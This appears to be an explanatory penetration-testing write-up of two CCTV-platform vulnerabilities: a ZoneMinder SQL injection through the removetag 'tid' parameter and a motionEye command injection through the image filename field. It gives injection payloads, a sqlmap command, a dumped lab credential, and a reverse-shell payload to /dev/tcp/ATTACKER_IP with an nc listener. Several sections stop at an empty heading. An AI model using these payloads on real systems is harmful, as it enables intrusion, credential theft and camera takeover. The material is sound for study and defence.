CVE-2024-51482 is an SQL injection vulnerability affecting ZoneMinder (open-source CCTV video surveillance platform). Attackers can manipulate database queries by crafting specific requests, thereby stealing system data and even further controlling the system.

Below is a complete introduction to this vulnerability (common exam topic in penetration testing/CTFs).

1. Basic Vulnerability Information

This vulnerability stems from the web interface not properly filtering user input, allowing attackers to inject malicious SQL code into database queries.

2. Vulnerability Location

The vulnerability exists in:

web/ajax/event.php

Specifically in the removetag functionality.

The program directly uses user input:

$tagId = $_REQUEST['tid'];
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";

Because the tid parameter is not securely filtered, attackers can insert SQL statements.

3. Vulnerability Trigger Point

Attack interface:

/zm/index.php?view=request&request=event&action=removetag&tid=1

Among them:

tid

The parameter can be injected with SQL.

4. Vulnerability Types

There are mainly two forms of SQL injection:

1️⃣ Boolean-based SQL Injection

Determine database content through true/false conditions.

For example:

tid=1 AND 1=1
tid=1 AND 1=2

Determine data based on page response differences.

2️⃣ Time-based Blind SQL Injection

Determine data through delays.

For example:

tid=1 AND SLEEP(5)

If the server delays by 5 seconds, it indicates successful injection.

5. Vulnerability Impact

If the vulnerability is successfully exploited, attackers can:

1️⃣ Obtain Database Information

For example:

information_schema
zm database

2️⃣ Leak User Credentials

Can read:

zm.Users

table:

Username
Password

For example:

admin : hash

3️⃣ Obtain Server Access

Typical attack chain:

SQL Injection
↓
Dump credentials
↓
SSH login
↓
Privilege escalation

For example, in some target machines:

ZoneMinder SQLi
↓
Dump mark:opensesame
↓
SSH login

6. CVSS Risk Level

CVSS v3 characteristics:

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Impact: High

Meaning:

Remotely exploitable
Low difficulty
Severe impact

Attackers may fully control the database.

7. Exploitation Approach (Penetration Testing)

Common exploitation process:

1️⃣ Discover ZoneMinder

http://target/zm

2️⃣ Confirm Version

/zm/api/host/getVersion.json

3️⃣ SQL Injection

Test:

/zm/index.php?view=request&request=event&action=removetag&tid=1

4️⃣ Use Tools

For example:

sqlmap -u "http://target/zm/index.php?view=request&request=event&action=removetag&tid=1"

5️⃣ Dump User Table

database: zm
table: Users

6️⃣ Obtain System Access

For example:

SSH
admin panel
API

VIII. Fix Methods

Official fix:

Upgrade to:

ZoneMinder 1.37.65

Fixes include:

IX. Why This Vulnerability is Dangerous

ZoneMinder is typically deployed in:

Enterprise
Surveillance Systems
Security Systems
Industrial Environments

Therefore, an attacker could:

Steal surveillance data
Delete recordings
Control cameras
Enter the internal network

This is classified as a High-risk vulnerability in security systems.

✅ One-sentence summary

CVE-2024-51482 is an SQL injection vulnerability in ZoneMinder that allows an attacker to manipulate database queries via the tid parameter, potentially leading to the theft of user credentials and further server compromise.

CVE-2025-60787 is a Remote Code Execution (RCE) vulnerability found in **motionEye (a surveillance camera management system)**, fundamentally an OS Command Injection. It commonly appears in CCTV/camera surveillance platform environments, making it typical in penetration tests or HTB machines.

1. Basic Vulnerability Information

This vulnerability allows an attacker to execute arbitrary system commands on the server.

2. Root Cause

There are configuration fields in the motionEye Web UI, such as:

image_file_name
movie_filename

User input flows through:

Web UI
   ↓
config.py
   ↓
Written to camera-*.conf
   ↓
motion service reads configuration

The problem is:

For example:

$(touch /tmp/pwned)

will be executed as a shell command.

3. Exploitation Principle

Attack flow:

Attacker logs into motionEye
        ↓
Modifies configuration parameters (image_file_name)
        ↓
Injects shell payload
        ↓
Configuration written to camera-1.conf
        ↓
motion service restarts
        ↓
Payload executes

4. Simple PoC Example

In the motionEye Web UI under:

Settings → Still Images → Image File Name

Enter:

$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

When motion reloads the configuration:

/tmp/test

will be created, indicating successful command execution.

V. Real Attack Payload

Attackers can directly obtain a shell, for example:

$(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')

Listen:

nc -lvnp 4444

And you can get a reverse shell.

VI. Vulnerability Impact

After successful exploitation, attackers can:

In severe cases:

The monitoring system is completely taken over

VII. Vulnerability Fix

Official fix method:

1️⃣ Perform strict filtering on configuration parameters

Only allow:

a-z A-Z 0-9
% - _ / .

2️⃣ Add input validation on the backend

3️⃣ Upgrade to a patched version

VIII. Exploitation Scenarios in Penetration Testing

Typical attack chain:

Weak password / SQLi
        ↓
Login to motionEye admin
        ↓
Modify image_file_name
        ↓
Command injection
        ↓
Reverse shell

IX. Why CCTV / Camera Systems Are Prone to Such Vulnerabilities

The reason is:

Therefore:

Command injection is very common

X. Significance in HTB / Penetration Environments

If the target is:

CCTV
motionEye
ZoneMinder

And you see:

camera.conf
motion
rtsp

Then CVE-2025-60787-type vulnerabilities are very common privilege escalation points.

✅ One-sentence summary

CVE-2025-60787 is a command injection vulnerability caused by unfiltered motionEye configuration parameters. Attackers can execute arbitrary system commands on the server by modifying the filename field in the Web UI, thereby obtaining a remote shell.